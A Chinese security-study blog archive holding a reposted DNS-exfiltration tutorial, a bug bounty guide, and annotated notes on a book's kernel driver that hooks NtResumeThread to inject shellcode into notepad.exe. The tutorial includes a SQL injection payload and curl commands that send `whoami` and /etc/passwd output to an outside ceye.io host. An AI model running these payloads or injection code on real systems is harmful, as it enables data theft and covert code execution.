html tool

显示标签为“l攻击工具测试”的博文。显示所有博文
显示标签为“l攻击工具测试”的博文。显示所有博文

2020年5月28日星期四

转:dnslog 攻击

原地址:


这里的例子:

例子一: 【popexizhi: 这里是用dns查询平台本身支持的变量执行,当当前主机信息提供给dns server ,其实例子二和例子三也是这个道理,攻击者使用这种方式获得被黑的主机的内容,通过dns server完成】

权限大的情况下,load_file()函数除了能够读取本地文件,还可以用来发送dns解析请求。

演示:
利用的payload:http://127.0.0.1/sql/Less-3?id=3 ?id=1' and if((select load_file(concat('###',(select @@VERSION),'.xxoo.ceye.io'))),1,1)--+ payload没什么难度,我就不解释了。

可以看到圈圈在转


并没有报错,去平台应该可以看到数据了

成功得到数据库名。



windows下

ping %COMPUTERNAME%.xxx.ceye.io:查看计算机名

可以看已经把常用变量给解析出来了。
其他的方法也是类似。

linux下

curl http://ip.port.xxoo.ceye.io/`whoami`

返回的结果:

试试查看passwd文件

curl http://ip.port.xxoo.ceye.io/`cat /etc/passwd`

返回的结果:

可以看到我是用zsh的shell。


2019年7月31日星期三

转:如何成为一个漏洞赏金猎人


[popexizhi: 原文推荐的书值得一读]
https://xz.aliyun.com/t/2701

https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102


恭喜你!当你决定当一个安全研究员并且准备学习一些新的技能时候,是非常令人激动。我们将在下面收集一些资源来帮助你开始你的安全之旅。请跟着我的脚步往下读。

1. 开始阅读

买一些渗透测试和漏洞挖掘的基础入门书。因为给赏金的漏洞通常会包括一些web目标,我们将集中精力先成为一个搞web的黑客,然后再探索其他的领域。
注意:
把兴趣集中在一个领域对于一个黑客是非常重要的。不要想着成为一个全能的黑客而去学习所有的知识,要把精力集中到某一个领域并且持续持续学习。在bugcrows中最厉害的黑客都有自己专长的领域,但是他们不能黑掉所有的东西。
学习黑客知识是需要很长时间的
下面是俩本入门书:
(1) The Web Application Hacker’s Handbook
这本书是必读的书并且这本书被web狗们奉为圣经一样。这本书从起点开始,一步步教你安装kali Linux,之后教你如何使用工具和寻找exp
(2)OWASP Testing Guide v4
Bugcrowd的Jason Haddix力荐这本书
下面是一些进阶书:
下面是一些给做移动安全的小伙伴的书籍:

2. 多去练习!

你要确保理解和留住你所学到的东西,这点是非常重要的。有一种非常好的方式就是在模拟的漏洞环境中练习自己的技能。通过模拟方式可以解决现实中遇到的问题。下面是用来练习的网站:
Hacksplaining
在这个网站里面可以学习到各种web黑客的技能,并且知道他们是怎么样做到的。这其实更像一个真实的演练。非常有用
Penetration Testing Practice Labs
这个网站包含了大量可以被用来练习的应用和系统。在这个网站中可以找到很多练手的系统,这些系统也可以提高你的技能。

3. 要经常去读别人的write-ups、poc和YouTube上的视频教程

现在你已经基本明白怎样去发现和利用安全漏洞了,是时候去开始了解更多黑客在各自领域工作的成果了。很幸运的是,安全研究社区通常会乐意分享知识,并且我们也会收集wp和视频的列表。下面是一些网站:
Bug Bounty write-ups and POCs
从一些成功的赏金猎人手里收集的漏洞报告
Bug Hunting Tutorials
我们从Bugcrowd和beyond社区中收集了一些很棒的教程
/r/Netsec on Reddit
Reddit上的Netsec几乎完全是技术文章和其他研究人员的POC,非常棒的资源
JackkTutorials on YouTubey
jackk 创建了很多的教学视频,包括csrf,xss,sql注入,目标发现等……
DEFCON Conference videos on YouTube
历年的DEFCON中演讲的视频,非常有用
Hak5 on YouTube
Hak5是典型的硬件黑客,除此之外,他们还有“Metasploit Minute”节目,tips:还有NMAP的教程

3.1 收集一些常用的攻击工具

工具不能把一枚小白变成黑客,但是这些工具确实非常有用,Bugcrowd推荐了大量工具,大家可以把这些工具尽情的收藏起来
Bugcrowd Researcher Resources - Tools

4. 加入到一些社区里面

你需要加入到一个拥有29000个黑客的社区,幸运的是他们中的大多数都非常乐意分享自己当前的研究
在推特上关注白帽子
上面一些赏金猎人的推特,大家可以去关注
Join the #Bugcrowd IRC channel
这个irc频道里面有超过100位安全研究员
Follow @Bugcrowd on Twitter
关注bugcrowd可以看到最新的安全信息
Join the Bugcrowd Forum
可以获得更多的资源并且能和更多的安全研究员做交流

5. 开始了解更多关于漏洞赏金的事情吧

现在我们几乎到了开始挖掘赏金的时候了,但是首先,我们去了解漏洞赏金猎人是怎么工作的,是如何开始这一切的。这些能保证我们能更加成功。
如何更加接近目标
听取他赏金猎人中的建议,可以帮助你更一步的接近漏洞赏金
如何写一份超棒的漏洞报告
他将指导你编写一个很棒的漏洞报告。一份很棒的报告就会有更大的机会获得赏金。
如何写poc
poc可以向客户展示漏洞是怎样被利用的和它是如何工作的。这对成功获得奖励至关重要。
如何报告一个漏洞
我们建议通过Bugcrowd平台来报告漏洞
漏洞披露政策
有一些规则必须被遵守。了解赏金计划的摘要和披露政策是非常重要的

5.1 了解一位赏金猎人挖漏洞的方法

这展示了@jhaddix 在15年DEFCON的演讲,这个视频里面介绍他是怎样成功挖掘到漏洞的,非常有用。下面是他的github和视频
https://github.com/jhaddix/tbhm
https://www.youtube.com/watch?v=VtFuAH19Qz0

6. 放手去干吧

是时候去放手去干了!当你是个新手的时候,最好不要试图去找特别流行厂商的漏洞,如果初学者试图去找特斯拉,facebook,Pinterest等这些公司的漏洞话,会感受到很大挫折,因为这些流行厂商会非常注重安全并且会收到很多漏洞报告
挖一下只给积分的厂商(原文里面的Kudos似乎是一种积分)
集中精力挖一挖那些被其他人忽略厂商。虽然那些厂商不会给你金钱奖励,但是在Bugcrowd会给你积分奖励。这是很好的开端并且也可以向Bugcrowd展示你的能力。当你提交足够多有效的漏洞之后,即使这些漏洞来全部来自于只给积分的厂商,我们也会邀请你去参加私有众测。私有众测是邀请制的,并且会限制参加的人数。私有众测意味着更小的竞争,也会获得更多的漏洞奖励。

7. 持续的学习和交流

就像我之前提过那样,掌握黑客技术是一个长期学习过程。这个领域充满激情!这里总是有新的文章和论文去学习,和兴趣相投的人一起参加会议或者多参加一些线下的沙龙,和他们一起寻找新的机会。
挖漏洞是进入信安行业最好的方式,这也可以成为你的职业。挖漏洞也可以为你带来额外收入,也可以提高你的技能,认识更多的人,甚至可以重塑你的职业。
记住,做事要专业,对人要和善。这虽然是一个小众的社区,但是我们也会关注每一个人,你永远不会知道遇到谁

2019年7月8日星期一

Hook/Notity 的分析和next


P475 -
5.Hook/Notity 的分析和next

[popexizhi analysis]

  • 对选择NtResumeThread hook的原因
    多数文章都分析如下,进程创建过程中CreateProcess的调用过程解剖如下:
    CreateProcess ->
    CreateProcessInternal ->
    NtCreateProcess -> ->
    NtCreateThread ->
    NtResumeThread


    https://blog.csdn.net/zhou191954/article/details/10164459
    推荐的阅读-分析系统创建进程过程,寻找方法
    关于这方面内容,可以参考毛德操老师的两篇文章
    《漫谈兼容内核之十七:再谈Windows的进程创建》
    《漫谈兼容内核之二十二:Windows线程的调度和运行》


    此方式的做法是
    通过对系统服务NtResumeThread的注入,查找其中notepad.exe的对这个系统方法的调用,在这个调用中对notepad的进程插入Shellcode并修改CONTEXT,当notepad的对应线程恢复时就先执行这个ShellCode

    这里NtResumeThread是系统提供的在线程刚刚创建或被暂停时一定使用的内核服务;
    而原始code中对于Shellcode的插入点选择eax而不是eip的原因也是和这个NtResumeThread的使用场景直接相关的,虽然pope现在也没找到code上的直接证据,但是从逻辑上分析应该是这样的。

    原书在code后的追加说当前方法在x64平台上的内核PatchGuard机制导致不可以用,不过pope好像x32平台也没有编译通过:)
    这个方式和4.SetThreadContext法是相似的都是在系统中的对进程管理涉及到的某个位置进行修改,之后被执行shellcode。



KeDetachProcess与KeAttachProcess的使用场景



KeDetachProcess


  • https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-kedetachprocess

    The KeDetachProcess routine is exported to support existing driver binaries and is obsolete. Use KeUnstackDetachProcess instead

    [popexizhi:
    https://blog.csdn.net/dasgk/article/details/17741289

    KeDetachProcess
      当线程从新的进程中脱离时(KeDetachProcess), 任何在新的进程地址空间中等待执行的未决的内核APCs被派发执行。随后SavedApcState 域的内容被拷贝回ApcState域。SavedApcState 域的内容被清空,线程的ApcStateIndex域被设为OriginalApcEnvironment,ApcStatePointer域更新,当前进程上下文切换到线程所属进程。
        Dettach时,先派发APC State里面的APC,然后再恢复,也就是挂靠过程中线程被插apc现在要集中解决

    [popexizhi: 总结一下,这里KeDetachProcess,是在 KeAttachProcess完成后,将线程从新的进程中脱离过程,这里要先处理APC队列,之后再恢复ApcState域]
    ]
    code 分析
    • + -

      KeAttachProcess

      KiAttachProcess - KeAttachProcess仅仅是对这个函数的封装
      KiSwapProcess - 更换地址空间。(本质上就是重新加载CR3)
      SwapContext - 更换上下文。一般不管地址空间的切换,只调整线程上下文。
      KiSwapThred - 切换到链表中的下一个线程(SwapContext)调用

      • -----------------------------------------------------------------------------
        /************************ KeAttachProcess ***************************/
        // just wrapper
        //
        KeAttachProcess(EPROCESS *Process)
        {
        KiAttachProcess(Process,KeRaiseIrqlToSynchLevel);
        }
        /************************ KiAttachProcess ***************************/

        KiAttachProcess(EPROCESS *Process,Irql){

        //CurThread=fs:124h
        //CurProcess=CurThread->ApcState.Process;

        if(CurProcess!=Process){
        //[popexizhi: 如果要attach 的process非当前进程,才如下操作:]
                if(CurProcess->ApcStateIndex || KPCR->DpcRoutineActive)KeBugCheckEx...
                //[popexizhi:如果当前进程有Apc状态的索引,这个应该是进入apc列表了 CurProcess->ApcStateIndex
                //或者: KPCR 中 有DPC队列,这个是cpu的队列,这里注意是判断是不是这两种软中断中,如果是后面就KeBugCheckEx.. ,传说的系统崩溃吗?
        //]
        }

        //if we already in process's context,
        //[popexizhi: 要attach 的process 就是当前进程,恢复lrql,返回就ok,不用特殊处理了]
        if(CurProcess==Process){KiUnlockDispatcherDatabase(Irql);return;}

        Process->StackCount++;//[?-ok 1- 这是堆栈计数增加一个吗? 不是,参见下文]
        // 注意代码中的Process->StackCount与进程的“堆栈”并无关系,而是指进程挂靠的嵌套深度。
        // http://www.voidcn.com/article/p-umtyvddi-qc.html


        KiMoveApcState(&CurThread->ApcState,&CurThread->SavedApcState);//[ 2-KiMoveApcState, 将当前线程的APC状态保持到SavedApcState中
        //    http://codewarrior.cn/ntdoc/win2k/ke/KiMoveApcState.htm
        //    This function moves the APC state from the source structure to the
        //    destination structure and reinitializes list headers as appropriate.

        // init lists
        CurThread->ApcState.ApcListHead[0].Blink=&CurThread->ApcState.ApcListHead[0]; //[?]3 这里的ApcListHead[01].[Blink,Flink]分别是什么,这操作的目的是?
        /*  [popexizhi: 自己在另外的版本中查到的初始化如下: 这里的InitializeListHead与下面的区别是什么,只是这里做封装了吗?]
        InitializeListHead(&Thread->ApcState.ApcListHead[KernelMode]); //ApcState被初始化
        InitializeListHead(&Thread->ApcState.ApcListHead[UserMode]);
        */
          CurThread->ApcState.ApcListHead[0].Blink=&CurThread->ApcState.ApcListHead[0]; //[?]3 这里的ApcListHead[01].[Blink,Flink]分别是什么,这操作的目的是?
          CurThread->ApcState.ApcListHead[0].Flink=&CurThread->ApcState.ApcListHead[0];
          CurThread->ApcState.ApcListHead[1].Blink=&CurThread->ApcState.ApcListHead[1];
          CurThread->ApcState.ApcListHead[1].Flink=&CurThread->ApcState.ApcListHead[1];;

         //fill curtheads's fields
         CurThread->ApcState.Process=Process;
        //
        CurThread->ApcState.ApcListHead[0].Flink=&CurThread->ApcState.ApcListHead[0];
        CurThread->ApcState.ApcListHead[1].Blink=&CurThread->ApcState.ApcListHead[1];
        CurThread->ApcState.ApcListHead[1].Flink=&CurThread->ApcState.ApcListHead[1];;

        //fill curtheads's fields
        CurThread->ApcState.Process=Process;

        CurThread->ApcState.KernelApcInProgress=0;
        CurThread->ApcState.KernelApcPending=0;
        CurThread->ApcState.UserApcPending=0;

        CurThread->ApcState.ApcStatePointer.SavedApcState=&CurThread->SavedApcState;
        CurThread->ApcState.ApcStatePointer.ApcState=&CurThread->ApcState;

        CurThread->ApcStateIndex=1;

        //if process ready, just swap it...
        if(!Process->State)//state==0, ready
        {
        KiSwapProcess(Process,CurThread->SavedApcState.Process);
        KiUnlockDispatcherDatabase(Irql);
        return;
        }

        CurThread->State=1; //ready?
        CurThread->ProcessReadyQueue=1;

        //put Process in Thread's waitlist
        CurThread->WaitListEntry.Flink=&Process->ReadyListHead.Flink;
        CurThread->WaitListEntry.Blink=Process->ReadyListHead.Blink;

        Process->ReadyListHead.Flink->Flink=&CurThread->WaitListEntry.Flink;
        Process->ReadyListHead.Blink=&CurThread->WaitListEntry.Flink;

        // else, move process to swap list and wait
        if(Process->State==1){//idle?
        Process->State=2; //trans
        Process->SwapListEntry.Flink=&KiProcessInSwapListHead.Flink;
        Process->SwapListEntry.Blink=KiProcessInSwapListHead.Blink;
        KiProcessInSwapListHead.Blink=&Process->SwapListEntry.Flink;
        KiSwapEvent.Header.SignalState=1;
        if(KiSwapEvent.Header.WaitListHead.Flink!=&KiSwapEvent.Header.WaitListHead.
        Flink)
        KiWaitTest(&KiSwapEvent,0xa); //fastcall
        }

        CurThread->WaitIrql=Irql;
        KiSwapThread();
        return;
        }

        从这个函数可以得到以下结论。进程可以处于以下状态——0(准备),1(Idle),2(Tra
        ns——切换)。这证实了高层次的信息。KiAttachProcess使用了另外两个函数KiSwapProce
        ss和KiSwapThread。

        /************************* KiSwapProcess ****************************/

        KiSwapProcess(EPROCESS* NewProcess, EPROCESS* OldProcess)
        {
        // just reload cr3 and small work with TSS

        // TSS=KPCR->TSS;
        // xor eax,eax
        // mov gs,ax
        TSS->CR3=NewProcess->DirectoryTableBase;//0x1c
        // mov cr3,NewProcess->DirectoryTableBase
        TSS->IopmOffset=NewProcess->IopmOffset;//0x66
        if(WORD(NewProcess->LdtDescriptor)==0){lldt 0x00; return;//}
        //GDT=KPCR->GDT;
        (QWORD)GDT->0x48=(QWORD)NewProcess->LdtDescriptor;
        (QWORD)GDT->0x108=(QWORD)NewProcess->Int21Descriptor;
        lldt 0x48;
        return;
        }

        切换进程上下文。正如我所料,这个函数只是重新加载CR3寄存器,再加上一点相关的操作。
        例如,用IopmOffset域的值建立TSS中的I/O位图的偏移。还必需将选择子的值加载到ldt(只
        用于VDM session)。

        /************************* SwapContext ******************************/

        SwapContext(NextThread,CurThread,WaitIrql)
        {

        NextThread.State=ThreadStateRunning; //2
        KPCR.DebugActive=NextThread.DebugActive;

        cli();

        //Save Stack
        CurThread.KernelStack=esp;

        //Set stack
        KPCR.StackLimit=NextThread.StackLimit;
        KPCR.StackBase=NextThread.InitialStack;

        tmp=NextThread.InitialStack-0x70;
        newcr0=cr0&0xfffffff1|NextThread.NpxState|*(tmp+0x6c);
        if(newcr0!=cr0)reloadcr0();
        if(!*(tmp-0x1c)&0x20000)tmp-=0x10;
        TSS=KPCB.TSS;
        TSS->ESP0=tmp;

        //set pTeb
        KPCB.Self=NextThread.pTeb;
        esp=NextThread.KernelStack;
        sti();

        //correct GDT
        GDT=KPCB.GDT;
        WORD(GDT->0x3a)=NextThread.pTeb;
        BYTE(GDT->0x3c)=NextThread.pTeb>>16;
        BYTE(GDT->0x3f)=NextThread.pTeb>>24;

        //if we must swap processes, do it (like KiSwapProcess)

        if(CurThread.ApcState.Process!=NextThread.ApcState.Process)
        {
        //******** like KiSwapProcess
        }

        NextThread->ContextSwitches++;

        KPCB->KeContextSwitches++;

        if(!NextThread->ApcState.KernelApcPending)return 0;

        //popf;
        // jnz HalRequestSoftwareInterrupt// return 0

        return 1;
        }

        切换堆栈,修正GDT,以使FS寄存器指向TEB。如果线程属于当前进程,则不进行上下文切换
        。否则,进行的操作和KiSwapProcess中的大致差不多。


5.Hook/Notity-eg中book的code与项目中不一致的问题

P476 - 5eg :

book code : 
InjectShellCodeToProcess(pTargetProc, pContext, g_DllPathToInject)
source code:
status = InjectShellCodeToProcessByModifyContext(pContext,g_DllPathToInject);

list ?:

  • why change? pTargetProc 去哪里了?不需要了吗?

  • 回答:  [这里的过程, InjectShellCodeToProcessByModifyContext 的input是改自身copy的pContext,不用pTargetProc 了.]

  • what for 这里的功能解释是?

  • 回答: [修改copy 自目标targetThread 的 pContext]
  • NTSTATUS InjectShellCodeToProcessByModifyContext(PCONTEXT pContext,WCHAR *wstrDllPath)
    的定义中如下:
    uNtdllBase = FindImageBase(NtCurrentProcess(),L"ntdll.dll");   
    //[popexizhi: ?why? ntdll.dll 这个和下面的LdrLoadDll 都是要注册的目标线程中的吗?  ]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         
    if (uNtdllBase != 0)
    {
    //先申请内存
    status = ZwAllocateVirtualMemory(NtCurrentProcess(),
    &pData,0,&MemSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    if (NT_SUCCESS(status))
    {
    dprintf("Allocated Mem = 0x%p\n",pData);
    dprintf("ntdll.dll Base = 0x%p \n",uNtdllBase);
    AddrOfLdrLoadDll = KeGetProcAddress(uNtdllBase,"LdrLoadDll");
    dprintf("LdrLoadDll = 0x%p \n",AddrOfLdrLoadDll);

2019年5月23日星期四

问题记录: 12.1.2 改变程序运行流程使用主动加载目标DLL 中的 5. 内核中通过 Hook/Notify 干预执行流程法的 code read 中注释 提示 “此时,eax 指向线程中的真正的起点 ” 的 问题记录和下一步开始位置


问题记录:

       根据g_IndexNtResumeThread 中查询到的对于NtResumeThread的hook来完成的,
这里推测当前eax的作为线程入口的状态是这里保证的,但是为什么是eax呢,这个还没有查询到具体的原因, 
记录问题,
[next ] 考虑应该看一下NtResumeThread调用后,对目的进程的修改和完成情况来评估这个eax的原因 。   

问题来源:
P476
12.1.2 改变程序运行流程使用主动加载目标DLL 中的
5. 内核中通过 Hook/Notify 干预执行流程法的 code read 中注释 提示
“此时,eax 指向线程中的真正的起点 ” 的 问题记录和下一步开始位置

补充内容:

code list:
原始方法,
NTSTATUS
NTAPI
DetourNtResumeThread (
 IN HANDLE ThreadHandle,
 OUT PULONG PreviousSuspendCount
 )
{
 char *szCurProc = NULL;
 char *szTargetProc = NULL;
 NTSTATUS status = STATUS_SUCCESS;
 PEPROCESS pTargetProc = NULL ;
 PETHREAD pTargetThread = NULL ;
 HANDLE hThreadID = 0 ;    //[popexizhi: 原书没有的code]
 SIZE_T MemSize = 0x1000;
 PCONTEXT pContext = NULL ;

 szCurProc = PsGetProcessImageFileName(PsGetCurrentProcess()); //[popexizhi: szCurProc保存的是当前进程的任务管理器中看到的名字]
 status = ObReferenceObjectByHandle(ThreadHandle,THREAD_ALL_ACCESS,PsThreadType,KernelMode,&pTargetThread,NULL);
 if (NT_SUCCESS(status))
 {
  //取得线程对应的进程
  pTargetProc = IoThreadToProcess(pTargetThread);
  szTargetProc = PsGetProcessImageFileName(pTargetProc);
  hThreadID = PsGetThreadId(pTargetThread);
  DbgPrint("%s is Resuming Thread (ThreadId = %d) in Process %s\n",
   szCurProc,hThreadID,szTargetProc);
  //启动notepad时
  //explorer.exe is Resuming Thread (ThreadId = 2724) in Process notepad.exe
  if ((PsGetCurrentProcess() != pTargetProc) //当前进程与目标进程不同,说明是在创建新进程,而不是进程内自己创建线程
   && (_stricmp(szTargetProc,g_szProcNameToInject) == 0)) //判断目标进程是不是notepad
  {
   KeAttachProcess(pTargetProc);
   //先申请内存
   status = ZwAllocateVirtualMemory(NtCurrentProcess(),
    &pContext,0,&MemSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
   
   if (NT_SUCCESS(status))//alloc mem
   {
    DbgPrint("Alloc Memory for Context = 0x%p\n",pContext);
    RtlZeroMemory(pContext,sizeof(CONTEXT));
    pContext->ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
    status =  PsGetContextThread(pTargetThread,pContext,UserMode);
    if (NT_SUCCESS(status))//GetContext
    {
     DbgPrint("EIP = 0x%p EAX = 0x%p\n",pContext->Eip , pContext->Eax);
     
     //此时eax指向线程的真正起点,对于进程的第一个线程来说,它就是入口点 -- [?]
     //注入ShellCode并修改Context.Eax
     status = InjectShellCodeToProcessByModifyContext(pContext,g_DllPathToInject);
     if (NT_SUCCESS(status))
     {
      DbgPrint("现在修改线程的Context!\n");
      pContext->ContextFlags = CONTEXT_INTEGER ;
      status = PsSetContextThread(pTargetThread,pContext,UserMode);
      if (NT_SUCCESS(status))
      {
       DbgPrint("修改线程的Context成功!\n");
       //释放内存
       ZwFreeVirtualMemory(NtCurrentProcess(),&pContext,&MemSize,MEM_RELEASE);
      }
      else
      {
       DbgPrint("修改线程的Context失败! status = 0x%08X\n",status);
      }
     }
     else
     {
      DbgPrint("向进程中插入ShellCode失败! status = 0x%08X\n",status);
     }
    }
    else
    {
     DbgPrint("获取线程的Context失败! status = 0x%08X\n",status);
    } 
   }
   else
   {
    DbgPrint("申请内存失败! status = 0x%08X\n",status);
   }
   
   
   KeDetachProcess();
   
  }
  ObDereferenceObject(pTargetThread);
 }

 status = OriginalNtResumeThread(ThreadHandle,PreviousSuspendCount);
 return status;
}

NTSTATUS InjectShellCodeToProcessByModi

此方法的调用相关位置:
NTSTATUS
DriverEntry(
 IN PDRIVER_OBJECT  DriverObject,
 IN PUNICODE_STRING  RegistryPath
 )
{
 //
    // Create dispatch points for device control, create, close.
    //

    DriverObject->MajorFunction[IRP_MJ_CREATE]         = KernelresumeinjectDispatchCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]          = KernelresumeinjectDispatchClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = KernelresumeinjectDispatchDeviceControl;
    DriverObject->DriverUnload                         = KernelresumeinjectUnload;
 
 if (InitGlobalVars()==FALSE)
    {
  DbgPrint("[DriverEntry] InitGlobalVars Failed!\n");
  goto __failed;
    }
 OriginalNtResumeThread=(PFN_NtResumeThread)HookSSDTServiceByIndex(g_IndexNtResumeThread,(ULONG_PTR)DetourNtResumeThread);
 if (OriginalNtResumeThread==0)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
 {
  DbgPrint("[DriverEntry] HookSSDTServiceByIndex Failed!\n");
  goto __failed;
 }
入参的定义位置:
BOOL InitServiceIndex()
{
 NTSTATUS status;
 MAP_IMAGE_INFO NtdllInfo = {0};
 ULONG ServiceIndex=0;
 ULONG_PTR FnAddr=0;
 ULONG_PTR MapedNtdllBase=0;
 char szNtdllPath[MAX_PATH] = "\\SystemRoot\\system32\\ntdll.dll";
 status = MapImageFile(szNtdllPath,&NtdllInfo);
 
 if (!NT_SUCCESS(status))
 {
  dprintf("[GetServiceIndex] Map Ntdll.dll Failed!\n");
  return FALSE;
 }
 
 MapedNtdllBase = (ULONG_PTR)NtdllInfo.MappedBase;
 g_IndexNtResumeThread = GetServiceIndexByName(MapedNtdllBase,"NtResumeThread");
 
 UnMapImageFile(&NtdllInfo);
 return TRUE;
}


其他补充:


[?] why eax 是线程的入口地址?
  • 猜测: 与keAttachProcess有关
    no
    根据keAttachProcess的调用过程分析,此方法使用前pTargetProc 的eax的值应该是第一线程入口了
    猜测 DetourNtResumeThread 调用时刻,eax的是线程入口地址吗?
    • analysis
      • [next]
        当前pTargetProc是入参threadHandle的地址
        ,而此入参threadHandle的调用来自于
        OriginalNtResumeThread=(PFN_NtResumeThread)HookSSDTServiceByIndex(g_IndexNtResumeThread,(ULONG_PTR)DetourNtResumeThread);
        [next] 这个g_IndexNtResumeThread的赋值位置查找,和HookSSDTServiceByIndex的使用说明查找
        • g_IndexNtResumeThread
        • HookSSDTServiceByIndex
        [问题记录]
        根据g_IndexNtResumeThread 中查询到的对于NtResumeThread的hook来完成的,
        这里推测当前eax的作为线程入口的状态是这里保证的,但是为什么是eax呢,这个还没有查询到具体的原因
        记录问题,[next ] 考虑应该看一下NtResumeThread调用后,对目的进程的修改和完成情况来评估这个eax的原因 。
          • g_IndexNtResumeThread
          • [next]
            定义在BOOL InitServiceIndex()中如下:

            g_IndexNtResumeThread = GetServiceIndexByName(MapedNtdllBase,"NtResumeThread");

            这里的"NtResumeThread" 介绍为
            大概流程如下:

            Kernel32!CreateProcessW
            Kernel32!CreateProcessInternalW
            ntdll!NtCreateProcessEx
            ntdll!NtCreateThread
            ntdll!NtResumeThread

            因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。
            所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,
            但是进程并没有调度起来
            ,呵呵,方便干坏事啊。
            [thinking 这里应该是eax的位置为第一个线程入口的原因吧?但是NtResumeThread 的具体内容go一下,确定一下]


            参考: https://blog.csdn.net/zhou191954/article/details/10164459
          • HookSSDTServiceByIndex

2019年4月9日星期二

PsGetCurrentProcess 与 NtCurrentProcess 的区别




  • PsGetCurrentProcess

    https://docs.microsoft.com/zh-cn/windows-hardware/drivers/kernel/mm-bad-pointer#psgetcurrentprocess

    Defined in: Ntddk.h
    Returns a pointer to the process of the current thread.
    Return value
    A pointer to an opaque process object.
    Available starting with Windows 2000.
    IRQL: Any level

    + - NtCurrentProcess
    https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/mm-bad-pointe

    ZwCurrentProcess

    Defined in: Wdm.h
    The ZwCurrentProcess macro returns a handle to the current process.
    Return value
    HANDLE
    ZwCurrentProcess returns a special handle value that represents the current process.
    The returned value is not a true handle, but it is a special value that always represents the current process.
    NtCurrentProcess and ZwCurrentProcess are two versions of the same Windows Native System Services routine. The NtCurrentProcess routine in the Windows kernel is not directly accessible to kernel-mode drivers. However, kernel-mode drivers can access this routine indirectly by calling ZwCurrentProcess.
    For calls from kernel-mode drivers, the Nt_Xxx_ and Zw_Xxx_ versions of a Windows Native System Services routine can behave differently in the way that they handle and interpret input parameters. For more information about the relationship between the Nt_Xxx_ and Zw_Xxx_ versions of a routine, see Using Nt and Zw Versions of the Native System Services Routines.
    All supported operating systems.
    IRQL: Any level


  • diff:    


[popexizhi:
PsGetCurrentProcess 返回的是 value ,只不过是 当前线程所在进程的pid值;
而NtCurrentProcess返回的是handle ,当前进程的handle
这里NtCurrentProcess 还有一个对应的ZwCurrentProcess,这里的区别
参见: https://blog.csdn.net/int2e/article/details/1998833
  ntdll.dll中ZwCreateFile与ntoskrnl.exe中ZwCreateFile的区别是:前者是user Mode application called,后者是Kernel Mode driver Called;
   ntdll.dll中NtCreateFile与ntoskrnl.exe中NtCreateFile区别是:前者在ring3下工作,后者在ring0下工作;前者通过中断实现,后者是前者的中断处理程序

]

PS: os中ring3与ring0的区别
https://www.cnblogs.com/pcajax/archive/2011/03/16/1986407.html

现在的OS,包括Windows和Linux都没有采用4层权限,而只是使用2层——R0层和R3层,分别来存放操作系统数据和应用程序数据,从而导致一旦驱动加载了,就运行在R0层,就拥有了和操作系统同样的权限,可以做任何事情,而所谓的rootkit也就随之而生了




2019年1月29日星期二

转:关于编译器找不到stdafx.h头文件的问题


https://blog.csdn.net/ningz6610/article/details/8911767


用到stdafx这个预编译头文件,一定是在使用MFC的工程中。头文件预编译,就是把一个工程中使用的头文件预先编译,以后该工程编译时,不再编译这部分头文件,仅使用预编译的结果,这样可以加快编译速度,节省时间。一般该stdafx.cpp文件仅包含若干头文件,并没有其他代码。所有的MFC 的.cpp文件第一条语句都是#include“stdafx.h”.

首次编译时,选择 工程-属性-配置属性-C/C++-预编译头文件在预编译头选项中选择 创建 。编译过一次,已经正确创建预编译头文件之后,该选项选择 使用。之后就可以正常编译了。

2019年1月22日星期二

转:堆栈平衡

https://www.jianshu.com/p/594357dff57e

2.1.2 基址指针,栈指针和程序栈

栈是程序设计中的一种经典数据结构,每个程序都拥有自己的程序栈。很重要的一点是,栈是向下生长的。所谓向下生长是指从内存高地址->低地址的路径延伸,那么就很明显了,栈有栈底和栈顶,那么栈顶的地址要比栈底低。对x86体系的CPU而言,其中
---> 寄存器ebp(base pointer )可称为“帧指针”或“基址指针”,其实语意是相同的。
---> 寄存器esp(stack pointer)可称为“ 栈指针”。
在C和C++语言中,临时变量分配在栈中,临时变量拥有函数级的生命周期,即“在当前函数中有效,在函数外无效”。这种现象就是函数调用过程中的参数压栈,堆栈平衡所带来的。对于这种实现的细节,我们会在接下来的环节中详细讨论。

2.2. 堆栈平衡

堆栈平衡这个概念指的是函数调完成后,要返还所有使用过的栈空间。这种说法可能有点抽象,我们可以举一个简单的例子来类比:
我们都知道函数的临时变量存放在栈中。那我们来看下面的代码,它是一个很简单的函数,用来交换传入的2个参数的值:
void __stdcall swap(int& a,int& b)
{
  int c = a;
  a = b;
  b = c;
}
我们可以看到,在这个函数中使用了一个临时变量int c;这个变量分配在栈中,我们可以简单的理解为,在声明临时变量c后,我们就向当前的程序栈中压入了一个int值:
int c = a; <==> push(a);   //简单粗暴,临时变量的声明理解为简单地向栈中push一个值。
那现在这个函数swap调用结束了,我们是否需要退栈,把之前临时变量c使用的栈空间返还回去?需要吗?不需要吗?
我们假设不需要,当我们频繁调用swap的时候,会发生什么?每次调用,程序栈都在生长。直到栈满,我们就会收到stack overflow错误,程序挂掉了。
所以为了避免这种乌龙的事情发生,我们需要在函数调用结束后,退栈,把堆栈还原到函数调用前的状态,这些被pop掉的临时变量,自然也就失效了,这也解释了我们一直以来关于临时变量仅在当前函数内有效的认知。其实堆栈平衡这个概念本身比这种粗浅的理解要复杂的多,还应包括压栈参数的平衡,暂时我们可以简单地这样理解,后面再做详细说明。

2.3. 函数的参数传递和调用约定

函数的参数传递是一个参数压栈的过程。函数的所有参数,都会依次被push到栈中。那调用约定有是什么呢?
C和C++程序员应该对所谓的调用约定有一定的印象,就像下面这种代码:
void __stdcall add(int a,int b);
函数声明中的__stdcall就是关于调用约定的声明。其中标准C函数的默认调用约定是__stdcall,C++全局函数和静态成员函数的默认调用约定是__cdecl,类的成员函数的调用约定是__thiscall。剩下的还有__fastcall__naked等。
为什么要用所谓的调用约定?调用约定其实是一种约定方式,它指明了函数调用中的参数传递方式和堆栈平衡方式。

